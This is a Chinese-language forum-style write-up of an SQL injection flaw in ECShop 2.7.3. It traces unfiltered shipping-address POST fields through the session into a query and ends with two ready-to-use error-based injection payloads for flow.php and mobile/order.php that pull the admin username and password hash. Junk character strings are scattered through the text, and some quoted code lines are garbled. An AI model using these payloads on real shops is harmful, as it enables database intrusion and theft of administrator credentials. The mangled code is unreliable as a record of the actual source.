前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。6 ]: K3 m0 j+ r
. Y: n3 t2 t3 b, ^7 p% ]
漏洞关键文件:& ]" j" w6 `% T
9 a/ C o# b p6 N4 }1 c8 X /includes/lib_order.php% _8 m& o/ s9 E, p
7 v& q. h7 n1 `4 F$ ] 关键函数:
e Z x3 B, V& O6 X) F
6 |. N+ G; y& Q; d9 l
$ u1 Z6 D" A3 Q7 Z0 O& |6 T6 @, |& d7 j" R, T2 ]5 Y7 s
01 function available_shipping_list($region_id_list)
6 o# f5 L+ b+ a1 `+ T& z$ A
7 H- V" b2 |4 y7 z+ x; j8 N/ T02 { 5 d8 \' m6 s; N J ^! a( h: \
; J$ f& X: U) G }6 U& j$ G& H6 A, q7 ~03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
, T1 ^: S( k& ^6 h1 U7 j; Q* [3 `9 ?" Y/ p S( e m1 R
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
! Q$ H: [2 t( `4 B4 L2 \' F, j. F1 w4 Z1 A# `8 d; f, f
05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . 5 [$ S$ e# S/ |7 Q" r4 O- V, m
& ~. u" B/ n6 U o06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
; l7 H' L$ j' \' @) Y$ ^
8 D8 R2 P; K- b7 _$ h9 W07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
$ |) S* t; J" C, n0 p* Y$ h" g$ @6 v
4 t7 J% ?4 b1 V! Q, E5 p+ M08 'WHERE r.region_id ' . db_create_in($region_id_list) . % x, i2 k3 y6 b6 V2 W/ \6 y
8 X" x3 R6 }+ d4 }' {09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; 1 K; T4 T, J5 B. o
7 ? B/ R4 Y/ ^5 F10 ( M" q% X( d7 W1 A, a
+ R7 b( p) |" g
11 return $GLOBALS['db']->getAll($sql);
D; R! M* b/ a& \2 | Y
" z' T- |7 @/ c) ~' O12 } % D1 n) b' |/ ?% |1 K4 G
3 v8 `4 n0 @# r: M4 f显然对传入的参数没有任何过滤就带入了查询语句。
1 Q" ^* _9 m E
# g' Z2 O$ m1 O% v, a下面我们追踪这个函数在flow.php中:: o8 g9 n* U9 U( z: i. n$ |
第531行: ! u) s7 `2 R* ?
/ t1 f1 A5 P3 [' s4 |, i; ]1 $shipping_list = available_shipping_list($region);
* \* [2 C% d5 m! @: j
1 u8 [' g4 s2 t; P L# m& Y : K+ C1 `( N/ q+ r* q
) P, r; \; x2 e+ E1 l
: _# h0 y L3 _1 ]
8 M& G) F' \6 w8 G再对传入变量进行追踪:
5 R; ?5 Q- q k! ?2 B5 ?$ c8 t( B3 T9 B: q. h4 f2 f
第530行:
- ~& `* Y: E7 t: Y9 }0 p8 ^1 R9 w7 W6 H
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
( m1 x' j- I* I( T9 R E6 Y4 H; l. M) T$ h
$ v5 l& L% W) x& l! V5 [; I1 C0 ~ m) B- L, p" j: @2 r' K, S
2 _! I5 g5 l( A$ `; {5 L7 R1 L: Z; q! d% O; k5 t& \
第473行:
4 _/ Z' H$ c& ?+ H
" d) q, S' a. V7 i1 $consignee = get_consignee($_SESSION['user_id']);
1 z2 x" h5 v- o3 `% i2 t& ]& p* L# K: I( j/ k7 K0 {
到了一个关键函数:
+ T( U6 w' h R
j6 o5 |1 \2 ~% h% q/includes/lib_order.php
4 V& j# z: W$ }. J) q% v, i' w8 E& r- k
/ K+ E6 p( J6 |# B% p
* y8 _6 q- c7 n8 Y: x+ v# z- K9 x4 s
* r+ v% D5 [8 v5 J0 d$ r: f3 c+ j
2 H6 q4 P2 e8 ~& l V1 G
01 function get_consignee($user_id)
" R2 V+ @: `! i$ l" \
: Q4 o- A2 h3 U02 {
, G; P s& L: x" C2 f3 A5 S }5 y
5 A K. ?/ D$ a9 t6 _03 if (isset($_SESSION['flow_consignee']))
* O# U9 s6 Y: e# G7 @2 ^5 W
' m! R5 O. N' z0 R04 {
! I- z% P2 Y0 b* A. T7 s0 a& k
% {6 y" U/ f1 i; ~+ M) `05 /* 如果存在session,则直接返回session中的收货人信息 */ ( T6 A8 {! K9 j; E- J; m* h( Y
( v6 I: ?6 l' v( Y) y4 T; a8 W, d0 Z06 7 s. b1 G" X! G. |! E2 g
" f9 U2 v5 H# Q
07 return $_SESSION['flow_consignee'];
$ ~. s* J8 J: m6 }5 t' e/ V+ I+ t. H+ x9 ]
08 } . Z4 D% S% ?0 P. ^
b* j' [, ?# {% V" K09 else ! E0 O% o+ U/ U n5 {- v
* j/ u8 e; `3 b/ `' Z+ [10 {
7 }% E9 d K' F V% s! _4 K5 i1 p+ Y% m) N' X
11 /* 如果不存在,则取得用户的默认收货人信息 */
$ u7 f2 j4 _! L- W( i8 E! G, q( w# I
12 $arr = array();
$ Q: X/ W& l6 S. m& o, r" l, X) H0 C$ F# o- x
13 ! l7 N+ }" H8 W- g/ j2 {
# k, W3 Y- o i1 [6 L
14 if ($user_id > 0) 0 V" V6 o: |; o) N; h6 R
! c: @" K, w' [4 D* ]5 ?; E
15 {
, X3 m9 N% J8 ?) y1 i( a3 C" z" Y! n
16 /* 取默认地址 */ 2 _% x" p* r& q+ T/ E* s
8 h2 T+ q* L7 \& i3 F6 i6 l
17 $sql = "SELECT ua.*".
( j O) J/ W4 B7 ^0 m/ _ F9 I; s ]% A
18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. ' [' M' k) w% n _$ Y3 n0 |6 Z- s
, B" w9 J0 d f& \: B
19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; ]" h: S! M U
1 l N+ q8 U! n# D20 ; `- H# E# p$ v* p6 F, w
) _" P* E7 F' Z2 L4 \2 X3 {1 N# b
21 $arr = $GLOBALS['db']->getRow($sql);
2 G9 s0 B3 W# G0 _; z
7 B! `0 j5 N0 I* s22 }
! e# Z; s7 s) e& L7 [9 o0 @3 D8 C2 D$ e: N) z9 ]) V
23 % f: s$ v& G9 |" ~/ B7 X# u: c
) _7 U! Y6 x- C0 d" N& C1 P# ~( f
24 return $arr; 9 ~5 M k# |+ ^8 C8 P
- a+ w/ j: w4 L
25 }
, ?2 s( E( p" i6 R5 s# f
, W( J5 b- L! w( j8 ~0 Y! h) H" q4 y4 ?26 }
2 A* X9 G0 i( a4 i- a7 s0 [
) x( J; l2 X: j7 F" h9 N显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
% }0 L( u3 u3 z
$ w& c( |! U$ ~: h % O. u: d2 x+ C& X
1 D+ U& D+ H/ w) }% L' P关键点:/ B. |2 y( c" b7 M. y4 ]. P$ q
) X* M& b* _2 N( Q& v1 A
第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);' o* X" O1 q7 e |# ^: }
4 ?/ V8 K) z& r3 W& D9 {- o
这里对传入参数反转义存入$_SESSION中。
5 z" w" T9 K6 m& Z: B6 C4 k. b) w+ O( t
% }, k0 o0 C6 }4 Q" O q8 @; w9 w( Z5 e7 M4 E" m. H
然后看下:
; _ M( F$ j0 {- L, O3 E3 F
& S: B2 V7 n! r* W% e
; Y5 z$ @! A/ v% }! A
* p+ E" a2 j/ A+ F2 z# x+ \3 l
: w! y3 L4 z% b4 f
8 [) c E' |8 v$ l/ B* b01 $consignee = array( 6 U9 a$ X* T! l B* z( F6 j
9 `2 h' p$ w# v$ u" Y! G7 [
02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']),
! X4 @. x# I# ^
8 @9 ]2 T0 O( G% L0 B: a6 @03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
# W$ x& Q- H% C: n7 F W5 }
0 ?; B D( D1 ?* U" e! ~' M04 'country' => empty($_POST['country']) ? '' _POST['country'], 2 b( a$ }. g/ c$ x+ G9 x/ y
* o- g+ b6 R; Y$ g7 j. ~
05 'province' => empty($_POST['province']) ? '' _POST['province'], 4 A4 b4 x. Q4 W: I+ `
: W% D# \! p1 A/ r8 R5 o
06 'city' => empty($_POST['city']) ? '' _POST['city'], 0 x% F; D' U. @, V
$ u8 S' _' s, m: Y3 Y
07 'district' => empty($_POST['district']) ? '' _POST['district'],
/ t; J! }0 C; _( Y) A+ E
7 M1 q. ^) \: m8 f1 N08 'email' => empty($_POST['email']) ? '' _POST['email'], 2 A# y- b; R7 A' P( j+ c
/ G2 F- L) W; m) T: D3 P# Z9 I09 'address' => empty($_POST['address']) ? '' _POST['address'],
, ^5 o3 G* Y; _6 ?5 J3 X- s* O$ K& R! {* R. M
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])), 4 ^3 O* q+ E |1 z
7 z9 e+ \, c7 V& v" Q7 O( U
11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), ) ]7 W0 M4 n4 @6 E. v
) X; x1 j6 G, x3 U' X9 p
12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])), , |1 M! d9 |& z' ^" m& Y
+ n! ^: r% J$ b' d2 m! F13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], + j& a R* V) {& O: _, ^
7 C, W1 O1 u) |8 E14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], 4 h4 V5 Z9 k7 u" b9 r
2 V( c2 t+ F7 V4 H9 j15 );
* Q: L6 @ Y& C9 r, J1 J7 L( T- K
好了注入就这样出现了。6 X" J) {0 J2 h" U& P1 y9 W
# Z6 {* g7 d& a+ j0 Z8 P==================
2 `0 z1 e% M$ v* ^% L
Q% F4 Q# L% \- @! a注入测试:
: n* j) l) I0 ], I/ O. P9 L8 A+ X+ f3 f( g+ F+ e
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)& _' G$ C( j* U) } \, {; e8 z
. v" X9 L- u. d4 d2 \
测试程序:ECShop_V2.7.3_UTF8_release1106
- G! G' Z, }% v3 R/ Y
9 a8 \1 P0 Z7 M% m' C
( g% u% O% ?% _6 g$ v5 A8 a8 ^# h @, f; G% v6 Q" [$ Q/ o0 W
1.首先需要点击一个商品加入购物车; v3 \# e6 Q4 }: l
3 D2 `3 s7 y; T; s; Z9 m1 e2.注册一个会员帐号
4 X0 N S) N( @" Q& A+ N
: S1 A% x q% ?/ ]! N, Y3.post提交数据
4 ^* f) L3 a4 g, `! I- \& {+ a4 Z3 V( ^% ]7 c' A
+ C. D; L' |- Q" d* k
. G0 U6 A4 v' a; v
1 http://127.0.0.1/ecshop/flow.php
' C4 Q& L" t' h) k% f9 {; `* c+ b4 ?& |* N3 A4 ~) k2 z; Z" q
2
$ d3 e, {, ~; V& F9 A$ X4 L8 G. F0 E. M; B3 M
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
# P. c+ u/ U* n: i" M" C举一反三,我们根据这个漏洞我们可以继续深入挖掘:
' V& ?8 @9 g! L, B8 B2 c; [/ G) R$ C% |% j; W: z9 w3 r# o7 d1 h
我们搜寻关键函数function available_shipping_list()
8 b/ |5 n) F. t: F" W2 p/ p+ E; J1 ?/ G
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
. a2 n' B8 O8 G2 ^: x& L# |/ S8 c8 |# ^2 @* k, ^' I& o: j" V6 t- U
利用exp:
/ `3 O" _* E) D4 b H' y b
( U$ w6 V4 ?4 j3 L/ m! j) }3 ]1.点击一个商品,点击购买商标" y; a: W2 ]9 X: M" @2 p& J8 u
/ ?; f! D3 q; S1 |+ K0 p! k
2.登录会员帐号+ |3 i1 H, t; V/ r; p) [# ^
' L" E, k' H0 I- G6 H$ Y
3.post提交:
$ ]4 b3 W+ N# k
Q: l! i" D; V* Q2 a/ zhttp://127.0.0.1/ecshop/mobile/order.php5 I `! [& z6 }+ _+ n; \
- h* M* A5 E2 b+ H1 f% O+ r ; m/ R' \: b, ~9 @: d
' Z, w% {# l: e+ ^1 |
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
! i$ X1 _& `' o* R" [; u' _ L
) E& I# J, ~: e( u |